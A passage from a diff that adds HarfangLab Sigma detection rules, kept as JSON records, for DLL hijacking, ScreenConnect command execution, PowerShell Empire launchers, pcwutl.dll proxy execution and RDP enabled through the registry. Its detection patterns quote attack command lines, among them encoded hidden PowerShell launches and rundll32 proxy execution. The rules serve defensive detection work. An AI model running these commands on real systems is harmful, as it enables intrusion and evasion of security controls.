'\\msctf.dll'\n            - '\\mswsock.dll'\n            - '\\netprofm.dll'\n            - '\\npmproxy.dll'\n            - '\\outllib.dll'\n            - '\\rsaenh.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\OFFICE*\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\Root\\OFFICE*\\'\n            - '?:\\Program Files\\Microsoft Office\\OFFICE*\\'\n            - '?:\\Program Files\\Microsoft Office\\Root\\OFFICE*\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\OFFICE*\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\Root\\OFFICE*\\'\n            - '?:\\Program Files\\Microsoft Office\\OFFICE*\\'\n            - '?:\\Program Files\\Microsoft Office\\Root\\OFFICE*\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    condition: selection and not 1 of filter_*\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d39ad600-7c50-41ca-aedb-35a550b25c79",
+  "rule_name": "DLL Hijacking via Outlook.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Outlook.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d3ad8869-3c7f-431b-ac23-e8f896fc81f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603440Z",
+  "creation_date": "2026-03-23T11:45:34.603444Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603452Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling",
+    "https://dfirtnt.wordpress.com/2023/07/14/rmm-screenconnect-client-side-evidence/",
+    "https://attack.mitre.org/techniques/T1219/002/",
+    "https://attack.mitre.org/techniques/T1059/003/"
+  ],
+  "name": "t1219_002_screenconnect_command_via_cmd.yml",
+  "content": "title: Windows Shell Command Executed via ScreenConnect\nid: d3ad8869-3c7f-431b-ac23-e8f896fc81f1\ndescription: |\n    Detects a command execution through ScreenConnect, a legitimate remote access tool that can be used by attackers as an initial access or C2 vector.\n    Attackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\n    It is recommended to investigate this command to determine its legitimacy.\nreferences:\n    - https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling\n    - https://dfirtnt.wordpress.com/2023/07/14/rmm-screenconnect-client-side-evidence/\n    - https://attack.mitre.org/techniques/T1219/002/\n    - https://attack.mitre.org/techniques/T1059/003/\ndate: 2023/11/10\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - attack.execution\n    - attack.t1059.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.ScreenConnect\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine|contains: '\\TEMP\\ScreenConnect\\\\*run.cmd'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d3ad8869-3c7f-431b-ac23-e8f896fc81f1",
+  "rule_name": "Windows Shell Command Executed via ScreenConnect",
+  "rule_description": "Detects a command execution through ScreenConnect, a legitimate remote access tool that can be used by attackers as an initial access or C2 vector.\nAttackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\nIt is recommended to investigate this command to determine its legitimacy.\n",
+  "rule_creation_date": "2023-11-10",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d3f304b8-1e9a-4470-9285-7d649bfba41d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073322Z",
+  "creation_date": "2026-03-23T11:45:34.073324Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073328Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BC-SECURITY/Empire/"
+  ],
+  "name": "t1059_001_empire_powershell_launcher.yml",
+  "content": "title: PowerShell Empire Launcher Detected\nid: d3f304b8-1e9a-4470-9285-7d649bfba41d\ndescription: |\n    Detects a PowerShell command-line containing arguments that are related to Empire Attack Framework launcher.\n    Attackers may use Empire to maintain access to a compromised system.\n    It is recommended to the newly created process for any suspicious activities.\nreferences:\n    - https://github.com/BC-SECURITY/Empire/\ndate: 2020/09/29\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.s0363\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.Empire\n    - classification.Windows.Script.PowerShell\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n    selection_2:\n        CommandLine|contains:\n            - '-noP -sta -w 1 -enc'\n            - '-NoP -NonI -W Hidden -enc'\n            - '-NoP -sta -NonI -W Hidden'\n            # \"SQBmAC... which decodes to If($PSVErSIONTaBLe.PSVERsIOn.MaJor -GE 3 in UTF16 ('I\\x00f\\x00(\\x00...'')\n            # match on the beginning only\n            - ' -enc  SQBmACgAJA'\n            - ' -enc SQBmACgAJA'\n            # \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=$((gp HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion Debug).Debug);powershell -Win Hidden -enc $x\"\n            - 'powershell -Win Hidden -enc ?x'\n            # Match on IEX\n            - '-nop -exec bypass -EncodedCommand SQBFAFgA'\n    condition: all of selection_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d3f304b8-1e9a-4470-9285-7d649bfba41d",
+  "rule_name": "PowerShell Empire Launcher Detected",
+  "rule_description": "Detects a PowerShell command-line containing arguments that are related to Empire Attack Framework launcher.\nAttackers may use Empire to maintain access to a compromised system.\nIt is recommended to the newly created process for any suspicious activities.\n",
+  "rule_creation_date": "2020-09-29",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d3f425bc-d72a-4f92-aae4-1d489631df7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080266Z",
+  "creation_date": "2026-03-23T11:45:34.080268Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080272Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/threat-detection-report/techniques/rundll32/",
+    "https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_pcwutl.yml",
+  "content": "title: Proxy Execution via pcwutl.dll\nid: d3f425bc-d72a-4f92-aae4-1d489631df7d\ndescription: |\n    Detects a suspicious invocation of the LaunchApplication function from the legitimate windows library pcwutl.dll by rundll32 to launch a binary.\n    Attackers may abuse this legitimate binary and function to bypass security restrictions.\n    It is recommended to check activities made by the newly spawned process to determine the legitimacy of this action.\nreferences:\n    - https://redcanary.com/threat-detection-report/techniques/rundll32/\n    - https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/02/04\nmodified: 2025/04/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Pcwutl\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # rundll32.exe pcwutl.dll,LaunchApplication calc.exe\n    selection_bin:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n\n    selection_cmd:\n        CommandLine|contains|all:\n            - 'pcwutl.dll'\n            - 'LaunchApplication'\n\n    exclusion_pcwrun:\n        ParentImage: '?:\\Windows\\System32\\msdt.exe'\n        # GrandparentImage: '?:\\Windows\\System32\\pcwrun.exe' # sometime this information is not present\n        # C:\\windows\\System32\\msdt.exe -path C:\\windows\\diagnostics\\index\\PCWDiagnostic.xml -af C:\\Users\\xxx\\AppData\\Local\\Temp\\PCW44A4.xml /skip TRUE\n        # C:\\Windows\\System32\\msdt.exe -path C:\\Windows\\diagnostics\\index\\PCWDiagnostic.xml -af C:\\Users\\xxx\\AppData\\Local\\Temp\\PCW4E0.xml /skip TRUE\n        # C:\\WINDOWS\\System32\\msdt.exe -path C:\\WINDOWS\\diagnostics\\index\\PCWDiagnostic.xml -af C:\\Users\\xxx\\AppData\\Local\\Temp\\6\\PCW443D.xml /skip TRUE\n        # C:\\Windows\\System32\\msdt.exe -path C:\\Windows\\diagnostics\\index\\PCWDiagnostic.xml -af d:\\profils\\xxx\\AppData\\Local\\Temp\\39\\PCWC040.xml /skip TRUE\n        # C:\\Windows\\System32\\msdt.exe -path C:\\Windows\\diagnostics\\index\\PCWDiagnostic.xml -af C:\\Windows\\TEMP\\PCW4C65.xml /skip TRUE\n        ParentCommandLine|contains: ' -path ?:\\windows\\diagnostics\\index\\PCWDiagnostic.xml'\n\n    exclusion_pcwdiagnostic:\n        ParentImage: '?:\\Windows\\System32\\msdt.exe'\n        ParentCommandLine|contains: ' -id PCWDiagnostic'\n\n    exclusion_edge:\n        ParentImage: '?:\\Windows\\System32\\msdt.exe'\n        CommandLine: '?:\\Windows\\system32\\rundll32.exe ?:\\Windows\\system32\\pcwutl.dll,LaunchApplication ?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'\n\n    exclusion_micollab:\n        CommandLine:\n            - '?:\\Windows\\system32\\rundll32.exe ?:\\Windows\\system32\\pcwutl.dll,LaunchApplication ?:\\Program Files\\Mitel\\MiCollab\\MiCollab.exe'\n            - '?:\\Windows\\system32\\rundll32.exe ?:\\Windows\\system32\\pcwutl.dll,LaunchApplication ?:\\Program Files (x86)\\Mitel\\MiCollab\\MiCollab.exe'\n\n    exclusion_office:\n        ParentImage: '?:\\Windows\\System32\\msdt.exe'\n        CommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\pcwutl.dll,LaunchApplication ?:\\Program Files (x86)\\Microsoft Office\\'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\pcwutl.dll,LaunchApplication ?:\\Program Files\\Microsoft Office\\'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d3f425bc-d72a-4f92-aae4-1d489631df7d",
+  "rule_name": "Proxy Execution via pcwutl.dll",
+  "rule_description": "Detects a suspicious invocation of the LaunchApplication function from the legitimate windows library pcwutl.dll by rundll32 to launch a binary.\nAttackers may abuse this legitimate binary and function to bypass security restrictions.\nIt is recommended to check activities made by the newly spawned process to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-02-04",
+  "rule_modified_date": "2025-04-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d4448173-74b1-409b-b2ce-08cc7c899490",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090087Z",
+  "creation_date": "2026-03-23T11:45:34.090089Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090093Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_netiougc.yml",
+  "content": "title: DLL Hijacking via netiougc.exe\nid: d4448173-74b1-409b-b2ce-08cc7c899490\ndescription: |\n    Detects potential Windows DLL Hijacking via netiougc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'netiougc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\dhcpcsvc.DLL'\n            - '\\IPHLPAPI.DLL'\n            - '\\wdscore.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d4448173-74b1-409b-b2ce-08cc7c899490",
+  "rule_name": "DLL Hijacking via netiougc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via netiougc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d44bbe66-0318-4453-a55b-35121e765bba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622320Z",
+  "creation_date": "2026-03-23T11:45:34.622321Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622326Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2021/05/12/conti-ransomware/",
+    "https://attack.mitre.org/techniques/T1021/001/"
+  ],
+  "name": "t1021_001_rdp_enabled_registry.yml",
+  "content": "title: Remote Desktop Logon Enabled in Registry\nid: d44bbe66-0318-4453-a55b-35121e765bba\ndescription: |\n    Detects a registry modification enabling RDP connections to a machine.\n    Once the service is enabled, adversaries may connect to a remote system over RDP/RDS with known credentials to obtain an interactive access to the host.\n    It can also be used with the Accessibility Features technique (T1546.008) to obtain the System privileges if Network Level Authentication is disabled.\n    It is recommended to investigate suspicious authentications over RDP after the service has been enabled.\nreferences:\n    - https://thedfirreport.com/2021/05/12/conti-ransomware/\n    - https://attack.mitre.org/techniques/T1021/001/\ndate: 2022/12/01\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.001\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ConfigChange\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_reg:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\fDenyTSConnections'\n            - 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\\fDenyTSConnections'\n        Details:\n            - 'DWORD (0x00000000)'\n            - 'QWORD (0x00000000-0x00000000)'\n\n    selection_parent:\n        # Parent information of a process can be missing.\n        ProcessParentImage|contains: '?'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_ui_settings:\n        ProcessImage: '?:\\Windows\\System32\\SystemSettingsAdminFlows.exe'\n        ProcessCommandLine: '?:\\Windows\\system32\\SystemSettingsAdminFlows.exe RemoteDesktopTurnOnRdp'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_windeploy:\n        ProcessCommandLine:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe /preoobe'\n            - '?:\\Windows\\System32\\oobe\\Setup.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\oobe\\windeploy.exe'\n\n    exclusion_tiworker:\n        - ProcessCommandLine: '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe -Embedding'\n        - ProcessParentCommandLine: '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe -Embedding'\n\n    exclusion_systemproperties:\n        ProcessImage:\n            - '?:\\Windows\\System32\\SystemPropertiesRemote.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesAdvanced.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesComputerName.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Microsoft Windows\"\n\n    exclusion_device_enroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\svchost.exe'\n\n    exclusion_ccm:\n        ProcessParentImage: '?:\\Windows\\CCM\\OSDRunPowerShellScript.exe'\n        ProcessGrandparentImage: '?:\\Windows\\CCM\\TSManager.exe'\n\n    exclusion_siemens:\n        ProcessImage: '?:\\Windows\\Temp\\TSplusInstaller\\Setup-Siemens.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'TSplus SAS'\n\n    exclusion_systancia:\n        ProcessImage: '?:\\Program Files (x86)\\Systancia\\AppliDis\\AdisDesktopInfrastructure\\AdisVDIDesktopAgent\\AdisVDIDesktopAgent.exe'\n\n    exclusion_altiris:\n        ProcessGrandparentImage: '?:\\Program Files\\Altiris\\Dagent\\dagent.exe'\n\n    exclusion_wapt:\n        - ProcessImage: '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n        - ProcessParentImage: '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n        - ProcessGrandparentImage: '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n\n    exclusion_power_automate_custom_action:\n        ProcessOriginalFileName: 'RUNDLL32.EXE'\n        ProcessCommandLine|contains: 'Microsoft.Flow.UIflow.CustomActions.PermissionCustomActions.SetRDPConnectionsPermissions'\n\n    exclusion_bmc:\n        ProcessGrandparentImage:\n            - '?:\\Program Files\\BMC Software\\Client Management\\Client\\bin\\mtxagent.exe'\n            - '?:\\Program Files\\BMC Software\\Client Management\\Client\\bin\\mtxproxy.exe'\n\n    exclusion_aws:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\AWS Replication Agent\\dist\\launch_convert.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d44bbe66-0318-4453-a55b-35121e765bba",
+  "rule_name": "Remote Desktop Logon Enabled in Registry",
+  "rule_description": "Detects a registry modification enabling RDP connections to a machine.\nOnce the service is enabled, adversaries may connect to a remote system over RDP/RDS with known credentials to obtain an interactive access to the host.\nIt can also be used with the Accessibility Features technique (T1546.008) to obtain the System privileges if Network Level Authentication is disabled.\nIt is recommended to investigate suspicious authentications over RDP after the service has been enabled.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d44c6de2-d37f-4e36-8fa1-f23231dd7632",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295355Z",
+  "creation_date": "2026-03-23T11:45:35.295359Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295366Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/001/",
+    "https://attack.mitre.org/techniques/T1543/004/",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1543_004_launchd_susp_child.yml",
